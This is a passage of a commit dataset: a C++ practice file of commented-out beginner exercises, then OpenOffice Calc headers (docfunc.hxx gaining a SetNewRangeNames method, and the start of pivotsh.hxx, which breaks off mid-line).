unsigned n;\n\t\/\/ cout<<\"n = \";\n\t\/\/ cin>>n;\n\n\t\/\/ vector<double> arr(n);\n\t\/\/ cout<<\"Please input \"<<n<<\" real numbers: \"<<endl;\n\t\/\/ for(int i=0;i<n;i++)\n\t\/\/ \tcin>>arr[i];\n\t\/\/ cout<<\"Average = \"<<average(arr)<<endl;\n\n\n\t\/\/ int (*fp)[9][8] = new int[7][9][8];\n\t\/\/ for (int i = 0; i < 7; i++)\n \/\/ \tfor (int j = 0; j < 9; j++)\n \/\/ \t\tfor (int k = 0; k < 8; k++)\n \/\/ \t\t\t*(*(*(fp + i) + j) + k) = (i*100+j*10+k);\n \/\/ for (int i = 0; i < 7; i++) {\n \/\/ \tfor (int j = 0; j < 9; j++) {\n \/\/ \t\tfor (int k = 0; k < 8; k++)\n \/\/ \t\t\tcout<<fp[i][j][k]<<' ';\n \/\/ \t\t\tcout<<endl;\n \/\/ \t\t}\n \/\/ \t\tcout<<endl;\n \/\/ \t}\n \/\/ \tdelete[] fp;\n\n\n\t\/\/ Point a(4,5);\n\t\/\/ Point *ptr = &a;\n\t\/\/ cout<<ptr->getX()<<endl;\n\t\/\/ cout<<a.getX()<<endl;\n\n\t\/\/ int a,b,res;\n\t\/\/ cout<<\"Please enter a: \"; cin>>a;\n\t\/\/ cout<<\"Please enter b: \"; cin>>b;\n\n\t\/\/ res = compute(a,b,&max);\n\t\/\/ cout<<\"max of a and b is \"<<res<<endl;\n\t\/\/ res = compute(a,b,&min);\n\t\/\/ cout<<\"min of a and b is \"<<res<<endl;\n\t\/\/ res = compute(a,b,&sum);\n\t\/\/ cout<<\"sum of a and b is \"<<res<<endl;\n\n\n\t\/\/ int array[10];\n\t\/\/ int* search(int* a, int num);\n\t\/\/ for(int i=0;i<10;i++){\n\t\/\/ \tcin>>array[i];\n\t\/\/ }\n\t\/\/ int* zeroptr = search(array, 10);\n\n\t\/\/ cout<<\"Enter 3 float point numbers: \"<<endl;\n\t\/\/ for(int i=0;i<3;i++){\n\t\/\/ \tfloat x, f;\n\t\/\/ \tint n;\n\t\/\/ \tcin>>x;\n\t\/\/ \tsplitFloat(x, &n, &f);\n\t\/\/ \tcout<<\"Integer part: \"<<n<<\" Fraction part: \"<<f<<endl;\n\t\/\/ }\n\n\t\/\/ int line1[] = {1,2,3};\n\t\/\/ int line2[] = {4,5,6};\n\t\/\/ int line3[] = {7,8,9};\n\t\/\/ int *pline[] = {line1,line2,line3};\n\t\/\/ cout<<\"Matrix test: \"<<endl;\n\t\/\/ for(int i=0;i<3;i++){\n\t\/\/ \tfor(int j=0;j<3;j++){\n\t\/\/ \t\tcout<<pline[i][j]<<\",\";\n\t\/\/ \t}\n\t\/\/ \tcout<<endl;\n\t\/\/ }\n\n\t\/\/ int array[3] = {1,2,3};\n\t\/\/ for(int &e:array){\n\t\/\/ \te += 2;\n\t\/\/ \tcout<<e<<endl;\n\t\/\/ }\n\n\t\/\/ int table[3][4] = {{1, 2, 3, 4}, {2, 3, 4, 5}, {3, 4, 5, 6}};\n\t\/\/ for (int i = 0; i < 3; i++) {\n \/\/ for (int j = 0; j < 4; j++)\n \/\/ cout << table[i][j] << \" \";\n \/\/ cout << endl;\n \/\/ }\n \/\/ rowSum(table, 3); \n \/\/ for(int i=0;i<3;i++){\n \/\/ \tcout << \"Sum of row \" << i << \" is \" << table[i][0] << endl;\n \/\/ }\n \n\t\/\/ const char key[] = {'a','c','b','a','d'};\n\t\/\/ const int ques_num = 5;\n\t\/\/ char usr_input;\n\t\/\/ int ques = 0, correct_num = 0;\n\n\t\/\/ cout<<\"Enter the \"<<ques_num<<\" question tests:\"<<endl;\n\t\/\/ while(cin.get(usr_input)){\n\t\/\/ \tif(usr_input != '\\n'){\n\t\/\/ \t\tif(usr_input == key[ques]){\n\t\/\/ \t\t\tcorrect_num++;\n\t\/\/ \t\t\tcout<<\" \";\n\t\/\/ \t\t}\n\t\/\/ \t\telse{\n\t\/\/ \t\t\tcout<<\"*\";\n\t\/\/ \t\t}\n\t\/\/ \t\tques++;\n\t\/\/ \t}\n\t\/\/ \telse{\n\t\/\/ \t\tcout<<\"Score: \"<<static_cast<float>(correct_num)\/ques_num*100<<\"%\";\n\t\/\/ \t\tques = 0; correct_num = 0;cout<<endl;\n\t\/\/ \t}\n\t\/\/ }\n\n\t\/\/ int f[20] = {1,1};\n\t\/\/ for (int i=2;i<20;i++){\n\t\/\/ \tf[i] = f[i-1] + f[i-2];\n\t\/\/ }\n\t\/\/ for (int i=0;i<20;i++){\n\t\/\/ \tif(i%4 == 0)cout<<endl;\n\t\/\/ \tcout.width(5);\n\t\/\/ \tcout<<f[i];\n\t\/\/ }\n\t\/\/ cout<<endl;\n\n\n\t\/\/ int a[10], b[10];\n \/\/ \tfor(int i = 0; i < 10; i++) {\n\t\/\/ a[i] = i * 2 - 1;\n\t\/\/ b[10 - i - 1] = a[i];\n \/\/ \t}\n \/\/ \tfor(int i = 0; i < 10; i++) {\n\t\/\/ cout << \"a[\" << i << \"] = \" << a[i] << \" \";\n\t\/\/ cout << \"b[\" << i << \"] = \" << b[i] << endl;\n \/\/ \t}\n\n \treturn 0;\n}\n\n<commit_msg>to be added.<commit_after>#include <iostream>\n#include <cmath>\n#include <cstdlib>\n#include <iomanip>\n#include <string>\n#include <vector>\n\nusing namespace std;\n\n\/\/ void rowSum(int a[][4],int nRow){\n\/\/ \tfor(int i=0;i<nRow;i++){\n\/\/ \t\tfor(int j=0;j<4;j++){\n\/\/ \t\t\ta[i][0] = a[i][j];\n\/\/ \t\t}\n\/\/ \t}\n\/\/ }\n\/\/ void splitFloat(float x,int *intPart, float *fracPart){\n\/\/ \t*intPart = static_cast<int>(x);\n\/\/ \t*fracPart = x - *intPart;\n\/\/ }\n\n\/\/ int* search(int* a, int num){\n\/\/ \tfor(int i=0;i<num;i++){\n\/\/ \t\tif(a[i] == 0){\n\/\/ \t\t\treturn &a[i];\n\/\/ \t\t}\n\/\/ \t}\n\/\/ }\n\n\/\/ int compute(int a, int b,int(*func)(int,int)){\n\/\/ \treturn func(a,b);\n\/\/ }\n\/\/ int max(int a, int b){\n\/\/ \treturn((a>b)?a:b);\n\/\/ }\n\/\/ int min(int a, int b){\n\/\/ \treturn((a<b)?a:b);\n\/\/ }\n\/\/ int sum(int a, int b){\n\/\/ \treturn a+b;\n\/\/ }\n\/\/ class Point {\n\/\/ public:\n\/\/ Point(int x = 0, int y = 0) : x(x), y(y) { }\n\/\/ int getX() const { return x; } \n\/\/ int getY() const { return y; } \n\/\/ private:\n\/\/ int x, y;\n\/\/ };\n\n\/\/ double average(const vector<double> &arr){\n\/\/ \tdouble sum = 0;\n\/\/ \tfor(unsigned i=0;i<arr.size();i++){\n\/\/ \t\tsum += arr[i];\n\/\/ \t}\n\/\/ \treturn sum\/arr.size();\n\/\/ }\n\n\/\/ class Base1{\n\/\/ public:\n\/\/ \tvoid display() const{\n\/\/ \t\tcout<<\"Base1::display()\"<<endl;\n\/\/ \t}\n\/\/ };\n\/\/ class Base2: public Base1{\n\/\/ public:\n\/\/ \tvoid display() const{\n\/\/ \t\tcout<<\"Base2::display()\"<<endl;\n\/\/ \t}\n\/\/ };\n\/\/ class Derived: public Base2{\n\/\/ public:\n\/\/ \tvoid display() const{\n\/\/ \t\tcout<<\"Derived::display()\"<<endl;\n\/\/ \t}\n\/\/ };\n\n\/\/ void func(Base1 *ptr){\n\/\/ \tptr->display();\n\/\/ }\n\nint main(){\n\t\/\/ Base1 base1;\n\t\/\/ Base2 base2;\n\t\/\/ Derived derived;\n\n\t\/\/ func(&base1);\n\t\/\/ func(&base2);\n\t\/\/ func(&derived);\n\n\t\/\/ unsigned n;\n\t\/\/ cout<<\"n = \";\n\t\/\/ cin>>n;\n\n\t\/\/ vector<double> arr(n);\n\t\/\/ cout<<\"Please input \"<<n<<\" real numbers: \"<<endl;\n\t\/\/ for(int i=0;i<n;i++)\n\t\/\/ \tcin>>arr[i];\n\t\/\/ cout<<\"Average = \"<<average(arr)<<endl;\n\n\n\t\/\/ int (*fp)[9][8] = new int[7][9][8];\n\t\/\/ for (int i = 0; i < 7; i++)\n \/\/ \tfor (int j = 0; j < 9; j++)\n \/\/ \t\tfor (int k = 0; k < 8; k++)\n \/\/ \t\t\t*(*(*(fp + i) + j) + k) = (i*100+j*10+k);\n \/\/ for (int i = 0; i < 7; i++) {\n \/\/ \tfor (int j = 0; j < 9; j++) {\n \/\/ \t\tfor (int k = 0; k < 8; k++)\n \/\/ \t\t\tcout<<fp[i][j][k]<<' ';\n \/\/ \t\t\tcout<<endl;\n \/\/ \t\t}\n \/\/ \t\tcout<<endl;\n \/\/ \t}\n \/\/ \tdelete[] fp;\n\n\n\t\/\/ Point a(4,5);\n\t\/\/ Point *ptr = &a;\n\t\/\/ cout<<ptr->getX()<<endl;\n\t\/\/ cout<<a.getX()<<endl;\n\n\t\/\/ int a,b,res;\n\t\/\/ cout<<\"Please enter a: \"; cin>>a;\n\t\/\/ cout<<\"Please enter b: \"; cin>>b;\n\n\t\/\/ res = compute(a,b,&max);\n\t\/\/ cout<<\"max of a and b is \"<<res<<endl;\n\t\/\/ res = compute(a,b,&min);\n\t\/\/ cout<<\"min of a and b is \"<<res<<endl;\n\t\/\/ res = compute(a,b,&sum);\n\t\/\/ cout<<\"sum of a and b is \"<<res<<endl;\n\n\n\t\/\/ int array[10];\n\t\/\/ int* search(int* a, int num);\n\t\/\/ for(int i=0;i<10;i++){\n\t\/\/ \tcin>>array[i];\n\t\/\/ }\n\t\/\/ int* zeroptr = search(array, 10);\n\n\t\/\/ cout<<\"Enter 3 float point numbers: \"<<endl;\n\t\/\/ for(int i=0;i<3;i++){\n\t\/\/ \tfloat x, f;\n\t\/\/ \tint n;\n\t\/\/ \tcin>>x;\n\t\/\/ \tsplitFloat(x, &n, &f);\n\t\/\/ \tcout<<\"Integer part: \"<<n<<\" Fraction part: \"<<f<<endl;\n\t\/\/ }\n\n\t\/\/ int line1[] = {1,2,3};\n\t\/\/ int line2[] = {4,5,6};\n\t\/\/ int line3[] = {7,8,9};\n\t\/\/ int *pline[] = {line1,line2,line3};\n\t\/\/ cout<<\"Matrix test: \"<<endl;\n\t\/\/ for(int i=0;i<3;i++){\n\t\/\/ \tfor(int j=0;j<3;j++){\n\t\/\/ \t\tcout<<pline[i][j]<<\",\";\n\t\/\/ \t}\n\t\/\/ \tcout<<endl;\n\t\/\/ }\n\n\t\/\/ int array[3] = {1,2,3};\n\t\/\/ for(int &e:array){\n\t\/\/ \te += 2;\n\t\/\/ \tcout<<e<<endl;\n\t\/\/ }\n\n\t\/\/ int table[3][4] = {{1, 2, 3, 4}, {2, 3, 4, 5}, {3, 4, 5, 6}};\n\t\/\/ for (int i = 0; i < 3; i++) {\n \/\/ for (int j = 0; j < 4; j++)\n \/\/ cout << table[i][j] << \" \";\n \/\/ cout << endl;\n \/\/ }\n \/\/ rowSum(table, 3); \n \/\/ for(int i=0;i<3;i++){\n \/\/ \tcout << \"Sum of row \" << i << \" is \" << table[i][0] << endl;\n \/\/ }\n \n\t\/\/ const char key[] = {'a','c','b','a','d'};\n\t\/\/ const int ques_num = 5;\n\t\/\/ char usr_input;\n\t\/\/ int ques = 0, correct_num = 0;\n\n\t\/\/ cout<<\"Enter the \"<<ques_num<<\" question tests:\"<<endl;\n\t\/\/ while(cin.get(usr_input)){\n\t\/\/ \tif(usr_input != '\\n'){\n\t\/\/ \t\tif(usr_input == key[ques]){\n\t\/\/ \t\t\tcorrect_num++;\n\t\/\/ \t\t\tcout<<\" \";\n\t\/\/ \t\t}\n\t\/\/ \t\telse{\n\t\/\/ \t\t\tcout<<\"*\";\n\t\/\/ \t\t}\n\t\/\/ \t\tques++;\n\t\/\/ \t}\n\t\/\/ \telse{\n\t\/\/ \t\tcout<<\"Score: \"<<static_cast<float>(correct_num)\/ques_num*100<<\"%\";\n\t\/\/ \t\tques = 0; correct_num = 0;cout<<endl;\n\t\/\/ \t}\n\t\/\/ }\n\n\t\/\/ int f[20] = {1,1};\n\t\/\/ for (int i=2;i<20;i++){\n\t\/\/ \tf[i] = f[i-1] + f[i-2];\n\t\/\/ }\n\t\/\/ for (int i=0;i<20;i++){\n\t\/\/ \tif(i%4 == 0)cout<<endl;\n\t\/\/ \tcout.width(5);\n\t\/\/ \tcout<<f[i];\n\t\/\/ }\n\t\/\/ cout<<endl;\n\n\n\t\/\/ int a[10], b[10];\n \/\/ \tfor(int i = 0; i < 10; i++) {\n\t\/\/ a[i] = i * 2 - 1;\n\t\/\/ b[10 - i - 1] = a[i];\n \/\/ \t}\n \/\/ \tfor(int i = 0; i < 10; i++) {\n\t\/\/ cout << \"a[\" << i << \"] = \" << a[i] << \" \";\n\t\/\/ cout << \"b[\" << i << \"] = \" << b[i] << endl;\n \/\/ \t}\n\n \treturn 0;\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: docfunc.hxx,v $\n *\n * $Revision: 1.12 $\n *\n * last change: $Author: rt $ $Date: 2005-09-08 21:21:03 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n#ifndef SC_DOCFUNC_HXX\n#define SC_DOCFUNC_HXX\n\n#ifndef _LINK_HXX \/\/autogen\n#include <tools\/link.hxx>\n#endif\n\n#ifndef SC_SCGLOB_HXX\n#include \"global.hxx\"\n#endif\n\n#ifndef SC_POSTIT_HXX\n#include \"postit.hxx\"\n#endif\n\nclass ScEditEngineDefaulter;\nclass SfxUndoAction;\nclass ScAddress;\nclass ScDocShell;\nclass ScMarkData;\nclass ScPatternAttr;\nclass ScRange;\nclass ScRangeName;\nclass ScBaseCell;\nstruct ScTabOpParam;\n\n\n\/\/ ---------------------------------------------------------------------------\n\nclass ScDocFunc\n{\nprivate:\n ScDocShell& rDocShell;\n\n BOOL AdjustRowHeight( const ScRange& rRange, BOOL bPaint = TRUE );\n void CreateOneName( ScRangeName& rList,\n SCCOL nPosX, SCROW nPosY, SCTAB nTab,\n SCCOL nX1, SCROW nY1, SCCOL nX2, SCROW nY2,\n BOOL& rCancel, BOOL bApi );\n void NotifyInputHandler( const ScAddress& rPos );\n\npublic:\n ScDocFunc( ScDocShell& rDocSh ): rDocShell(rDocSh) {}\n ~ScDocFunc() {}\n\n DECL_LINK( NotifyDrawUndo, SfxUndoAction* );\n\n BOOL DetectiveAddPred(const ScAddress& rPos);\n BOOL DetectiveDelPred(const ScAddress& rPos);\n BOOL DetectiveAddSucc(const ScAddress& rPos);\n BOOL DetectiveDelSucc(const ScAddress& rPos);\n BOOL DetectiveAddError(const ScAddress& rPos);\n BOOL DetectiveMarkInvalid(SCTAB nTab);\n BOOL DetectiveDelAll(SCTAB nTab);\n BOOL DetectiveRefresh(BOOL bAutomatic = FALSE);\n\n BOOL DeleteContents( const ScMarkData& rMark, USHORT nFlags,\n BOOL bRecord, BOOL bApi );\n\n BOOL TransliterateText( const ScMarkData& rMark, sal_Int32 nType,\n BOOL bRecord, BOOL bApi );\n\n BOOL SetNormalString( const ScAddress& rPos, const String& rText, BOOL bApi );\n BOOL PutCell( const ScAddress& rPos, ScBaseCell* pNewCell, BOOL bApi );\n BOOL PutData( const ScAddress& rPos, ScEditEngineDefaulter& rEngine,\n BOOL bInterpret, BOOL bApi );\n BOOL SetCellText( const ScAddress& rPos, const String& rText,\n BOOL bInterpret, BOOL bEnglish, BOOL bApi );\n\n \/\/ creates a new cell for use with PutCell\n ScBaseCell* InterpretEnglishString( const ScAddress& rPos, const String& rText );\n\n BOOL SetNoteText( const ScAddress& rPos, const String& rText, BOOL bApi );\n\n BOOL ApplyAttributes( const ScMarkData& rMark, const ScPatternAttr& rPattern,\n BOOL bRecord, BOOL bApi );\n BOOL ApplyStyle( const ScMarkData& rMark, const String& rStyleName,\n BOOL bRecord, BOOL bApi );\n\n BOOL InsertCells( const ScRange& rRange, InsCellCmd eCmd, BOOL bRecord, BOOL bApi,\n BOOL bPartOfPaste = FALSE );\n BOOL DeleteCells( const ScRange& rRange, DelCellCmd eCmd, BOOL bRecord, BOOL bApi );\n\n BOOL MoveBlock( const ScRange& rSource, const ScAddress& rDestPos,\n BOOL bCut, BOOL bRecord, BOOL bPaint, BOOL bApi );\n\n BOOL InsertTable( SCTAB nTab, const String& rName, BOOL bRecord, BOOL bApi );\n BOOL RenameTable( SCTAB nTab, const String& rName, BOOL bRecord, BOOL bApi );\n BOOL DeleteTable( SCTAB nTab, BOOL bRecord, BOOL bApi );\n\n BOOL SetTableVisible( SCTAB nTab, BOOL bVisible, BOOL bApi );\n\n BOOL SetLayoutRTL( SCTAB nTab, BOOL bRTL, BOOL bApi );\n\n BOOL SetWidthOrHeight( BOOL bWidth, SCCOLROW nRangeCnt, SCCOLROW* pRanges,\n SCTAB nTab, ScSizeMode eMode, USHORT nSizeTwips,\n BOOL bRecord, BOOL bApi );\n\n BOOL InsertPageBreak( BOOL bColumn, const ScAddress& rPos,\n BOOL bRecord, BOOL bSetModified, BOOL bApi );\n BOOL RemovePageBreak( BOOL bColumn, const ScAddress& rPos,\n BOOL bRecord, BOOL bSetModified, BOOL bApi );\n\n BOOL Protect( SCTAB nTab, const String& rPassword, BOOL bApi );\n BOOL Unprotect( SCTAB nTab, const String& rPassword, BOOL bApi );\n\n BOOL ClearItems( const ScMarkData& rMark, const USHORT* pWhich, BOOL bApi );\n BOOL ChangeIndent( const ScMarkData& rMark, BOOL bIncrement, BOOL bApi );\n BOOL AutoFormat( const ScRange& rRange, const ScMarkData* pTabMark,\n USHORT nFormatNo, BOOL bRecord, BOOL bApi );\n\n BOOL EnterMatrix( const ScRange& rRange, const ScMarkData* pTabMark,\n const String& rString, BOOL bApi, BOOL bEnglish );\n\n BOOL TabOp( const ScRange& rRange, const ScMarkData* pTabMark,\n const ScTabOpParam& rParam, BOOL bRecord, BOOL bApi );\n\n BOOL FillSimple( const ScRange& rRange, const ScMarkData* pTabMark,\n FillDir eDir, BOOL bRecord, BOOL bApi );\n BOOL FillSeries( const ScRange& rRange, const ScMarkData* pTabMark,\n FillDir eDir, FillCmd eCmd, FillDateCmd eDateCmd,\n double fStart, double fStep, double fMax,\n BOOL bRecord, BOOL bApi );\n \/\/ FillAuto: rRange wird von Source-Range auf Dest-Range angepasst\n BOOL FillAuto( ScRange& rRange, const ScMarkData* pTabMark,\n FillDir eDir, ULONG nCount, BOOL bRecord, BOOL bApi );\n\n BOOL ResizeMatrix( const ScRange& rOldRange, const ScAddress& rNewEnd, BOOL bApi );\n\n BOOL MergeCells( const ScRange& rRange, BOOL bContents,\n BOOL bRecord, BOOL bApi );\n BOOL UnmergeCells( const ScRange& rRange, BOOL bRecord, BOOL bApi );\n\n BOOL SetNote( const ScAddress& rPos, const ScPostIt& rNote, BOOL bApi );\n\n BOOL ModifyRangeNames( const ScRangeName& rNewRanges, BOOL bApi );\n\n BOOL CreateNames( const ScRange& rRange, USHORT nFlags, BOOL bApi );\n BOOL InsertNameList( const ScAddress& rStartPos, BOOL bApi );\n\n BOOL InsertAreaLink( const String& rFile, const String& rFilter,\n const String& rOptions, const String& rSource,\n const ScRange& rDestRange, ULONG nRefresh,\n BOOL bFitBlock, BOOL bApi );\n};\n\n\n\n#endif\n\n<commit_msg>INTEGRATION: CWS calc36 (1.12.156); FILE MERGED 2006\/04\/06 09:22:03 nn 1.12.156.1: #i63513# new method SetNewRangeNames to avoid extra copy of ScRangeName<commit_after>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: docfunc.hxx,v $\n *\n * $Revision: 1.13 $\n *\n * last change: $Author: rt $ $Date: 2006-05-05 09:44:58 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n#ifndef SC_DOCFUNC_HXX\n#define SC_DOCFUNC_HXX\n\n#ifndef _LINK_HXX \/\/autogen\n#include <tools\/link.hxx>\n#endif\n\n#ifndef SC_SCGLOB_HXX\n#include \"global.hxx\"\n#endif\n\n#ifndef SC_POSTIT_HXX\n#include \"postit.hxx\"\n#endif\n\nclass ScEditEngineDefaulter;\nclass SfxUndoAction;\nclass ScAddress;\nclass ScDocShell;\nclass ScMarkData;\nclass ScPatternAttr;\nclass ScRange;\nclass ScRangeName;\nclass ScBaseCell;\nstruct ScTabOpParam;\n\n\n\/\/ ---------------------------------------------------------------------------\n\nclass ScDocFunc\n{\nprivate:\n ScDocShell& rDocShell;\n\n BOOL AdjustRowHeight( const ScRange& rRange, BOOL bPaint = TRUE );\n void CreateOneName( ScRangeName& rList,\n SCCOL nPosX, SCROW nPosY, SCTAB nTab,\n SCCOL nX1, SCROW nY1, SCCOL nX2, SCROW nY2,\n BOOL& rCancel, BOOL bApi );\n void NotifyInputHandler( const ScAddress& rPos );\n\npublic:\n ScDocFunc( ScDocShell& rDocSh ): rDocShell(rDocSh) {}\n ~ScDocFunc() {}\n\n DECL_LINK( NotifyDrawUndo, SfxUndoAction* );\n\n BOOL DetectiveAddPred(const ScAddress& rPos);\n BOOL DetectiveDelPred(const ScAddress& rPos);\n BOOL DetectiveAddSucc(const ScAddress& rPos);\n BOOL DetectiveDelSucc(const ScAddress& rPos);\n BOOL DetectiveAddError(const ScAddress& rPos);\n BOOL DetectiveMarkInvalid(SCTAB nTab);\n BOOL DetectiveDelAll(SCTAB nTab);\n BOOL DetectiveRefresh(BOOL bAutomatic = FALSE);\n\n BOOL DeleteContents( const ScMarkData& rMark, USHORT nFlags,\n BOOL bRecord, BOOL bApi );\n\n BOOL TransliterateText( const ScMarkData& rMark, sal_Int32 nType,\n BOOL bRecord, BOOL bApi );\n\n BOOL SetNormalString( const ScAddress& rPos, const String& rText, BOOL bApi );\n BOOL PutCell( const ScAddress& rPos, ScBaseCell* pNewCell, BOOL bApi );\n BOOL PutData( const ScAddress& rPos, ScEditEngineDefaulter& rEngine,\n BOOL bInterpret, BOOL bApi );\n BOOL SetCellText( const ScAddress& rPos, const String& rText,\n BOOL bInterpret, BOOL bEnglish, BOOL bApi );\n\n \/\/ creates a new cell for use with PutCell\n ScBaseCell* InterpretEnglishString( const ScAddress& rPos, const String& rText );\n\n BOOL SetNoteText( const ScAddress& rPos, const String& rText, BOOL bApi );\n\n BOOL ApplyAttributes( const ScMarkData& rMark, const ScPatternAttr& rPattern,\n BOOL bRecord, BOOL bApi );\n BOOL ApplyStyle( const ScMarkData& rMark, const String& rStyleName,\n BOOL bRecord, BOOL bApi );\n\n BOOL InsertCells( const ScRange& rRange, InsCellCmd eCmd, BOOL bRecord, BOOL bApi,\n BOOL bPartOfPaste = FALSE );\n BOOL DeleteCells( const ScRange& rRange, DelCellCmd eCmd, BOOL bRecord, BOOL bApi );\n\n BOOL MoveBlock( const ScRange& rSource, const ScAddress& rDestPos,\n BOOL bCut, BOOL bRecord, BOOL bPaint, BOOL bApi );\n\n BOOL InsertTable( SCTAB nTab, const String& rName, BOOL bRecord, BOOL bApi );\n BOOL RenameTable( SCTAB nTab, const String& rName, BOOL bRecord, BOOL bApi );\n BOOL DeleteTable( SCTAB nTab, BOOL bRecord, BOOL bApi );\n\n BOOL SetTableVisible( SCTAB nTab, BOOL bVisible, BOOL bApi );\n\n BOOL SetLayoutRTL( SCTAB nTab, BOOL bRTL, BOOL bApi );\n\n BOOL SetWidthOrHeight( BOOL bWidth, SCCOLROW nRangeCnt, SCCOLROW* pRanges,\n SCTAB nTab, ScSizeMode eMode, USHORT nSizeTwips,\n BOOL bRecord, BOOL bApi );\n\n BOOL InsertPageBreak( BOOL bColumn, const ScAddress& rPos,\n BOOL bRecord, BOOL bSetModified, BOOL bApi );\n BOOL RemovePageBreak( BOOL bColumn, const ScAddress& rPos,\n BOOL bRecord, BOOL bSetModified, BOOL bApi );\n\n BOOL Protect( SCTAB nTab, const String& rPassword, BOOL bApi );\n BOOL Unprotect( SCTAB nTab, const String& rPassword, BOOL bApi );\n\n BOOL ClearItems( const ScMarkData& rMark, const USHORT* pWhich, BOOL bApi );\n BOOL ChangeIndent( const ScMarkData& rMark, BOOL bIncrement, BOOL bApi );\n BOOL AutoFormat( const ScRange& rRange, const ScMarkData* pTabMark,\n USHORT nFormatNo, BOOL bRecord, BOOL bApi );\n\n BOOL EnterMatrix( const ScRange& rRange, const ScMarkData* pTabMark,\n const String& rString, BOOL bApi, BOOL bEnglish );\n\n BOOL TabOp( const ScRange& rRange, const ScMarkData* pTabMark,\n const ScTabOpParam& rParam, BOOL bRecord, BOOL bApi );\n\n BOOL FillSimple( const ScRange& rRange, const ScMarkData* pTabMark,\n FillDir eDir, BOOL bRecord, BOOL bApi );\n BOOL FillSeries( const ScRange& rRange, const ScMarkData* pTabMark,\n FillDir eDir, FillCmd eCmd, FillDateCmd eDateCmd,\n double fStart, double fStep, double fMax,\n BOOL bRecord, BOOL bApi );\n \/\/ FillAuto: rRange wird von Source-Range auf Dest-Range angepasst\n BOOL FillAuto( ScRange& rRange, const ScMarkData* pTabMark,\n FillDir eDir, ULONG nCount, BOOL bRecord, BOOL bApi );\n\n BOOL ResizeMatrix( const ScRange& rOldRange, const ScAddress& rNewEnd, BOOL bApi );\n\n BOOL MergeCells( const ScRange& rRange, BOOL bContents,\n BOOL bRecord, BOOL bApi );\n BOOL UnmergeCells( const ScRange& rRange, BOOL bRecord, BOOL bApi );\n\n BOOL SetNote( const ScAddress& rPos, const ScPostIt& rNote, BOOL bApi );\n\n BOOL SetNewRangeNames( ScRangeName* pNewRanges, BOOL bApi ); \/\/ takes ownership of pNewRanges\n BOOL ModifyRangeNames( const ScRangeName& rNewRanges, BOOL bApi );\n\n BOOL CreateNames( const ScRange& rRange, USHORT nFlags, BOOL bApi );\n BOOL InsertNameList( const ScAddress& rStartPos, BOOL bApi );\n\n BOOL InsertAreaLink( const String& rFile, const String& rFilter,\n const String& rOptions, const String& rSource,\n const ScRange& rDestRange, ULONG nRefresh,\n BOOL bFitBlock, BOOL bApi );\n};\n\n\n\n#endif\n\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: pivotsh.hxx,v $\n *\n * $Revision: 1.3 $\n *\n * last change: $Author: rt $ $Date: 2005-09-08 21:44:03 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n#ifndef SC_PIVOTSH_HXX\n#define SC_PIVOTSH_HXX\n\n#ifndef _SFXMODULE_HXX \/\/autogen\n#include <sfx2\/module.hxx>\n#endif\n#ifndef _SFX_SHELL_HXX \/\/autogen\n#include <sfx2\/shell.hxx>\n#endif\n\n#include \"shellids.hxx\"\n\nclass ScTabViewShell;\nclass ScDPObject;\n\nclass ScPivotShell : public SfxShell\n{\npublic:\n TYPEINFO();\n SFX_DECL_INTERFACE(SCID_PIVOT_SHELL);\n\n ScPivotShell( ScTabViewShell* pView );\n ~ScPivotShell();\n\n void Execute ( SfxRequest& rReq );\n void GetState( SfxItemSet& rSet );\n\nprivate:\n ScTabViewShell* pViewShell;\n\n ScDPObject* GetCurrDPObject();\n};\n\n\n\n#endif\n\n\n<commit_msg>INTEGRATION: CWS calcwarnings (1.3.322); FILE MERGED 2006\/12\/14 17:57:13 nn 1.3.322.1: #i69284# warning-free: ui, unxsols4<commit_after>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: pivotsh.hxx,v $\n *\n * $Revision: 1.4 $\n *\n * last change: $Author: vg $ $Date: 